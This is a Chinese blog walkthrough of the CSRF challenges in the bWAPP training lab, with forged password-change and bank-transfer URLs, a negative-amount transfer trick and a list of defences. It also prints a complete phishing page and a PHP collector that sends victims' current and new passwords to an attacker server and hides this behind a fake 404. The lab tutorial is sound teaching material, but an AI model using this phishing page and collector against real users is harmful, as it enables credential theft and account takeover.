bWAPP CSRF(Cross-site request forgery)跨站请求伪造

Web安全攻防实战:从SQL注入到XSS的漏洞原理与纵深防御体系构建 Web安全的核心在于理解常见漏洞的原理与攻击链。SQL注入通过恶意输入篡改数据库查询逻辑,而XSS(跨站脚本攻击)则利用浏览器执行恶意脚本,两者都源于对用户输入缺乏充分验证。这些漏洞的技术价值在于揭示了信任边界破坏的严重后果,可能导致数据泄露、权限提升甚至服务器沦陷。在实际应用场景中,现代Web应用大量使用JavaScript动态生成DOM元素,这增加了DOM型XSS的风险;同时,文件上传功能若处理不当,可能成为攻击者上传Webshell的直接通道。本文从渗透测试视角,深入拆解SQL注入、XSS、文件上传等 阅读详情

简介

CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。

 

 

0x01、CSRF (Change Password)

Low

通过GET请求方式修改密码是极其不安全的,  而且验证仅仅是判断两次输入的新密码是否相等:

如果是这样,  攻击者直接通过发送指定URL给受害者点击,  即可恶意修改密码:

http://localhost:8080/bWAPP/csrf_1.php?password_new=hack&password_conf=hack&action=change

Medium&High

考虑到以上危害,  这里就加入了旧密码的验证,  只有当前密码输入正确才能修改密码:

尽管如此,  攻击仍然可以通过钓鱼的方式攻击:

即,  构造一个钓鱼界面,  诱导用户输入旧密码,  然后通过JS脚本"悄悄"将旧密码发送到攻击者服务器

这里为了与原网页仿真,  复制HTML源代码中的表单:

界面大致模仿原界面,  保存为 csrf_hack.html:

<!DOCTYPE html>
<html>
    
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>bWAPP - CSRF</title>
</head>

<body>
    
<header>
<h1>bWAPP</h1>
</header>    

<div id="main">
    
    <h1>CSRF (Change Password)</h1>

    <p>Change your password.</p>

    <form action="http://192.168.10.102/csrf_hack_get.php" method="GET">
        
        <p><label for="password_curr">Current password:</label><br />
        <input type="password" id="password_curr" name="password_curr"></p>

        <p><label for="password_new">New password:</label><br />
        <input type="password" id="password_new" name="password_new"></p>

        <p><label for="password_conf">Re-type new password:</label><br />
        <input type="password" id="password_conf" name="password_conf"></p>  

        <button type="submit" name="action" value="change">Change</button>   

    </form>

    <br />
</div>

      
</body>
    
</html>

当提交表单时,发送表单数据到名为 "http://192.168.10.102/csrf_hack_get.php" 的文件(处理输入):

其中攻击者服务器上的 csrf_hack_get.php 内容如下:

<?php
    $password_curr = $_GET['password_curr']; // get old passwd
    $password_new = $_GET['password_new'];  // get new passwd
    // open file
    $file = fopen("/tmp/secret.txt", "w") or die("Unble to open file!");
    // write
    fwrite($file, $password_curr);
    fwrite($file, $password_new);
    fclose($file);
?>

<!DOCTYPE html>
<html>
    <head>
         <title>404 Not Found</title>
    </head>
    <body>
         <h1>Not Found</h1>
    </body>
</html>

模仿一个404页面,  为了是不让用户发现自己被钓鱼了(= =!),  读者们要小心~ 

当受害者不小心进入以下链接:

http://localhost/evil/csrf_hack.html

并且还输入了自己的个人密码的时候:

就会自动发送密码信息到攻击者服务器上,  并且提示404, 让受害者不易发觉:

在攻击者服务器上可以看到成功"钓"到了密码:

所以, 尽管服务端做了安全的防护,  但是若用户操作不当,  同样不安全。

防护

1. 验证码 (最简介和有效的方法),  但是出于用户体验的考虑,  不能每一个地方都设置验证码;

2. Referer检查,  可以用来检测请求是否来自合法的源,  但缺陷在于:  服务器并非什么时候都能取到Referer, 在某些情况下, 浏览器不会发送Referer, 比如: 从https跳转到http;  也可能出于安全考虑, 也不会发送Referer

3. Anti CSRF Token,  当前最普遍的做法,  不过注意要使用安全的随机数生成器生成Token, 也要及时销毁使用过的Token, 为了避免Token的泄露, 在使用Token时, 尽量把Token放在表单中,  把敏感操作由Get改为Post,  以form表单的形式 (或者AJAX) 的形式提交,  从而避免泄露Token,  值得一提的是,  还有一些其他环境也会导致Token的泄露,  比如 XSS漏洞 (成为XSRF) 或者一些跨域漏洞等。

 

 

0x02、CSRF (Change Secret)

一个直接修改密码的界面,

与上一题不同的是,  这里采用了比Get更安全的Post请求方式:

直接抓包查看,  将Referer值为空,  判断是否存在csrf:

发现依然可以成功修改,  说明存在csrf漏洞。

这里利用burpsuite生成csrf poc:

将poc复制保存为csrf_hack1.html,  然后诱导受害者点击链接:

http://192.168.10.102/evil/csrf_hack1.html

而受害者又不小心点击了按钮时,  他的密码就会被修改成hack:

Medium&High

而在更高级别中,  就采用了Anti Token来防止CSRF:

 

 

 

0x03、CSRF (Transfer Amount)

模拟了一个银行转账,  使用是的Get的请求方式,  这就使得转账金额和对方账户都在URL中暴露无遗:

如果直接访问修改后的转账URL看看是否会执行成功:

http://localhost:8080/bWAPP/csrf_2.php?account=86-654321&amount=200&action=transfer

看到金额的确减少了,  即转账成功,  存在CSRF漏洞。

此外,  这里同样存在逻辑漏洞,  利用负负得正的原理,  如果转账金额设为 -200,  在服务器执行减操作的时候,  就会出现金额增加的现象:

http://localhost:8080/bWAPP/csrf_2.php?account=86-654321&amount=-200&action=transfer

 

Shopify App安全开发实战:CSRF、CSP与Payload验证详解 在Web应用开发中,安全机制是保障应用稳定性和数据可靠性的基石。其核心原理在于通过多层防御策略,构建纵深安全体系,以抵御常见的网络攻击。从技术价值看,这不仅关乎功能实现,更是对用户信任与业务连续性的重要保障。尤其在电商SaaS平台生态中,应用安全直接关系到商家核心资产与消费者数据。具体到Shopify App开发场景,开发者需重点关注三大核心安全机制:CSRF(跨站请求伪造)保护通过令牌验证确保请求来源可信,是防御伪造请求的第一道闸门;CSP(内容安全策略)通过资源白名单机制,有效遏制XSS(跨站脚本)攻击 阅读详情

相关推荐

bwapp通关教程

** HTML Injection - Reflected (GET) ** low: 低级漏洞中,输入数据没有做校验 First name: <script>alert( 'xss' )</script> Last name: <script>alert( 'xss' )</script> 出现xss即为成功。 medium 和low一样,但发现被全部显示 抓包,会发现符号<>均被编码 0,1,2分别对应三个等级 找见对应的/bWAPP/bw

qq_45756971的博客 7152

bWAPP——CSRF

一、CSRF (Change Password) 1.1、Low 本场景,通过GET请求方式修改密码, 并且验证仅验证两次输入的新密码是否相同: 面对本场景的攻击:攻击者将在自己的站点上构造恶意页面,并引诱被攻击者访问恶意页面的链接,即可达到攻击目的。 恶意页面源码: //1.链接利用(a标签) <a href="http://192.168.83.129:10001/csrf_1.php?password_new=hack&password_conf=hack&action=

weixin_41182861的博客 1493

【bWAPP】XSS跨站脚本攻击实战

别低头,皇冠会掉;别流泪,贱人会笑。

1412

bWAPP(A8~CSRF)

A8 - Cross-Site Request Forgery CSRFCross-Site Request Forgery (Change Secret)Cross-Site Request Forgery (Change Secret)Cross-Site Request Forgery (Transfer Amount) Cross-Site Request Forgery (Change Secret) CSRF,全称Cross-site request forgery,翻译过来就是跨站请求伪造,

qq_39670065的博客 777

宜搭,高级认证实操2,FaaS连接器指导教程

找到FaasEntry.java将如下代码整体替换,注意引包。如图所示在util下新建EDSUtil.java代码如下。回到连接器界面点击右上角测试-->测试。连接器工厂-->新建FaaS连接器。保存-->前往云IDE开发。返回如图所示代码,部署成功。

2301_80286061的博客 3342

算法笔记 经典取石子游戏总结 博弈论

经典取石子游戏总结 1.巴什博弈 有一堆石子共n个,A和B轮流取,A先取。每次最少取1个,最多取m个,先取完者获胜(即没有石子取的人失败)。A与B都足够聪明,问A能否获胜。 结论:当n%(m+1)!=0时A必胜,否则必败。 2.斐波那契博弈 有一堆石子共n个,A和B轮流取,A先取。每次最少取1个。第一次不能取完。从第二次开始,每个人取的石子数至少为1,至多为前一个人取的石子数的2倍。先取完者获胜。...

CraigMC的博客 2934

js创建对象

http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> http://www.w3.org/1999/xhtml"> 无标题文档     //通过 new Object() 空白的对象   //var obj=new Object();    //定义空白类   function Test(){

mengyun00的专栏 823

淘宝/天猫商家必看:不懂技术也能搞懂的奇门对接原理与ERP/WMS联调避坑指南

本文为淘宝/天猫商家详细解析阿里奇门对接原理与ERP/WMS联调避坑指南,帮助不懂技术的商家轻松管理数据对接流程。通过标准化接口和安全传输,奇门解决了代运营店铺数据获取难题,提升发货效率。文章还提供了联调阶段的实用技巧和常见问题解决方案,助力商家高效完成系统对接。

weixin_42519781的博客 585

Web 靶场笔记-bWAPP

事以密成,言以泄败。 导航 前言 A1 - Injection(注入) A2 - Broken Auth & Session Mgmt(破损的授权&会话管理) A3 - Cross-Site Scripting (XSS 跨站脚本) A4 - Insecure Direct Object References(IDOR 不安全直接对象引用) A5 -...

weixin_41348535的博客 1165

Spatio-Temporal Graph Convolutional Networks: A Deep Learning Framework for Traffic Forecasting 论文笔记

Spatio-Temporal Graph Convolutional Networks: A Deep Learning Framework for Traffic Forecasting 论文笔记-----GCN在交通领域的应用(二) 一、论文翻译: 1、摘要: 及时准确地交通预测对于城市交通控制和指导具有至关重要的意义。由于交通流量的非线性和复杂性,传统的方法不能满足中长期预测任务的需求,并且往往会忽略时空数据的时间和空间依赖特性。在这篇论文中,为了处理在交通领域的时间序列预测问题...

cy_believ的博客 1916

【Simulink教程案例18】基于simulink的基础OFDM+64QAM发射接收链路仿真

OFDM(Orthogonal Frequency Division Multiplexing)即正交频分复用技术,实际上OFDM是MCM(Multi Carrier Modulation),多载波调制的一种。通过频分复用实现高速串行数据的并行传输, 它具有较好的抗多径衰落的能力,能够支持多用户接入。OFDM技术由MCM(Multi-Carrier Modulation,多载波调制)发展而来。OFDM技术是多载波传输方案的实现方式之一,它的。

FPGA/MATLAB学习教程/源码/项目合作开发 1984

安装bwapp漏洞靶场以及相关实验

本文章仅供参考学习使用,不做任何违法的行为!!! 一.安装bwapp 1.查找bwapp镜像,选择下载最多的镜像 docker search bwapp 2.docker pull 镜像名称 3.开启相对应的端口 docker run --name bwapp -d -p 80:80 raesene/bwapp 4.浏览器访问:http://xxxxxxxx:80/login.php,会有如下提示: Connection failed: Unknown database 'bWAPP' 5

weixin_53872203的博客 2882

Linux故障排查和性能优化面试题及参考答案

在 Linux 系统中,负载(Load Average)是衡量系统繁忙程度的一个重要指标,它表示系统在特定时间间隔内运行队列中的平均进程数。负载值反映了系统当前的工作压力,主要包括 CPU 等待运行的进程数量和处于不可中断睡眠状态(通常是等待 I/O 操作完成)的进程数量。负载平均值通常有三个数值,分别代表过去 1 分钟、5 分钟和 15 分钟内的系统平均负载。例如,在使用uptime命令或查看文件时,会看到类似这样的输出,这三个数值依次表示过去 1 分钟、5 分钟和 15 分钟的负载平均值。

大模型大数据攻城狮的专栏 1081

什么是CSRF跨站请求伪造

就像在茫茫大海上钓鱼,万一就真的碰到了呢。所以不管是 cookie 还是 token,从存储角度来看其实都不安全,都有暴露的风险,我们所说的安全更多 的是强调传输中的安全(可以在请求头中加入随机的密钥),可以用 HTTPS 协议来传输, 这样的话请求头都能被加密,也就保证了传输中 的安全。那么如果正常的用户误点了上面这张图片,由于相同域名的请求会自动带上 cookie,而 cookie 里带有 正常登录用户的 sessionid,类似上面这样的转账操作在 server 就会成功,会造成极大的安全风险。

2301_78646673的博客 834

在Android中实现SIM卡的读写操作

在上述代码中,我们创建了一个PhoneStateListener的实例,并重写了onSimStateChanged方法来处理SIM卡状态改变的事件。然后,我们通过调用telephonyManager的listen方法注册了这个监听器,并指定了要监听的事件类型为SIM卡状态的改变。在上述代码中,我们调用telephonyManager的sendUssdRequest方法来发送USSD命令,并通过TelephonyManager.UssdResponseCallback来处理USSD响应和发送失败的情况。

2301_79326510的博客 922

汽车电子 静态电流

**静态电流(Static Current 或 Quiescent Current, IQ)** 是指汽车在 **熄火 / 关机 / 睡眠模式** 下,电子控制单元(ECU)或电子元件仍然保持基本功能(RTC、存储保持、Wake-up 监测、CAN/LIN 监听等)所消耗的微弱电流。

天赐好车的博客 752

CSRF跨站请求伪造

2018/4/15首先看CSRF的全名和百度定义,CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网...

cried_cat的博客 331

OV9734 DATASHEET,完整规格书

OV9734完整规格书,包括电气参数,尺寸规格,寄存器配置表等

CSRF漏洞以及靶场(史上最详细)

产生原因:服务器端没有对用户提交的数据进行严格的把控,导致攻击者可以利用用户的Cookie信息伪造用户请求发送至服务器利用方式:攻击者诱导受害者进入第三方网站,在第三方网站中,向被攻击网站发送跨站请求。利用受害者在被攻击网站已经获取的注册凭证,绕过后台的用户验证,达到冒充用户对被攻击的网站执行某项操作的目的原理:攻击者盗用了你的身份,以你的名义发送恶意请求危害:以受害者名义发送邮件,发消息,盗取受害者的账号,甚至购买商品,虚拟货币转账,修改受害者的网络配置(比如修改路由器DNS、重置路由器密码)等等。

qq_34598847的博客 2224

win10 跳过U8环境检测的IE WebControls.rar

win10 安装u8的时候 提示IE WebControls 不通过,这个工具可以欺骗u8的检查。 跳过U8环境检测的IE WebControls。提示导入失败后,重新检测通过。

ssm框架搭建

这个是一个在idea上成功跑起来的ssm框架项目,保存在这里方便以后使用直接下载

bWAPP漏洞靶场实战教程

bWAPP漏洞靶场实战指南 摘要 bWAPP是一个包含100+种Web漏洞的PHP/MySQL靶场系统,专为安全学习设计。本文提供bWAPP的三种部署方式(虚拟机、Docker和本地环境),详细讲解SQL注入、XSS、文件上传、命令注入和CSRF等核心漏洞的实战方法。包含漏洞原理说明、多种攻击payload示例以及绕过防护的技巧,涵盖Low/Medium/High三种安全级别。通过实际漏洞场景演示,帮助学习者掌握Web应用安全测试的基本技能和防御思路,是网络安全入门的理想实践平台。

深山技术宅的博客 2126

LinePhone3.2.7(android端最新版本) sip客户端

SIP客户端For android:LinePhone3.2.7(最新版本),官网地址:http://www.linphone.org/

Web安全:bWAPP 靶场搭建.(集成了各种常见漏洞和最新漏洞的开源Web应用程序)

bWAPP是一个集成了了常见漏洞的 web 应用程序,目的是作为漏洞测试的演练场,帮助安全爱好者,开发人员和学生发现和防止Web漏洞。它有超过100个网络漏洞数据,包括所有主要的已知网络漏洞.

网络安全领域___专研者. 4977

「BWAPP靶场通关记录(1)」A1注入漏洞

本文详解渗透测试靶场平台BWAPP的A1注入漏洞通关技巧,覆盖HTML/SQL/OS命令等十余类注入场景,针对低中高三种防护等级提供实战绕过方案,包含反射型、存储型、盲注等变体攻击手法,是Web安全攻防训练的完整指南。

qq_41812408的博客 2251

bwapp通关(全完结)

bwapp

1163

CSRF 的基本概念特性

CSRF 的基本概念特性   注:非原创,最近在做项目的安全,找了些不错的资料研究,很有意思           跨站请求伪造(CSRF)的是 Web 应用程序一种常见的漏洞,其攻击特性是危害性大但非常隐蔽,尤其是在大量 Web 2.0 技术的应用的背景下,CSRF 攻击完全可以在用户法毫无察觉的情况下发起攻击。国际上并未对 CSRF 攻击做出一个明确的定义,同时,攻击的发起手段方...

caoliangbo的博客 667

bwapp通过教程

用户名:bee,密码:bug,点击start登录后即可进行相应测试。 HTML Injection - Reflected (GET) 那我们直接开始第一题吧 这里有两个框让我们输入,先看看源码 这里把我们输入的fistname和lastname直接带进htmli了 Htmli是按照我们等级来给函数的,我们看看no_check函数 没有过滤就直接输入了,所以我们直接...

玄道的网安博客 1万+

渗透测试之CSRF

CSRF是跨站伪造请求,常见攻击手段发送csrf的连接,通过伪造请求从而受害者点击后会利用受害者的身份发起这个请求。例如新增一个账号,修改用户密码等等。 CSRF攻击成功有两个必须的条件。1.被伪造身份的目标曾在该浏览器上访问过CSRF站点,且cookies尚未过期。2.目标被引诱在该浏览器上访问了我们放置恶意代码的域名或网站。 接下来我们用bwapp演示CSRF。 例子一:第一个例子是利用

黑面狐 5690

BWAPP:一款非常好用的漏洞演示平台

参考: http://www.freebuf.com/sectool/76885.html https://www.vulnhub.com/entry/bwapp-bee-box-v16,53/

公众号shadow sock7 5363
上一篇: bWAPP Miss Functional Level Access Control (不合理的访问权限控制)
下一篇: \r,\n,\r\n的区别
angry_program
博客等级 码龄9年 197粉丝 109原创
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值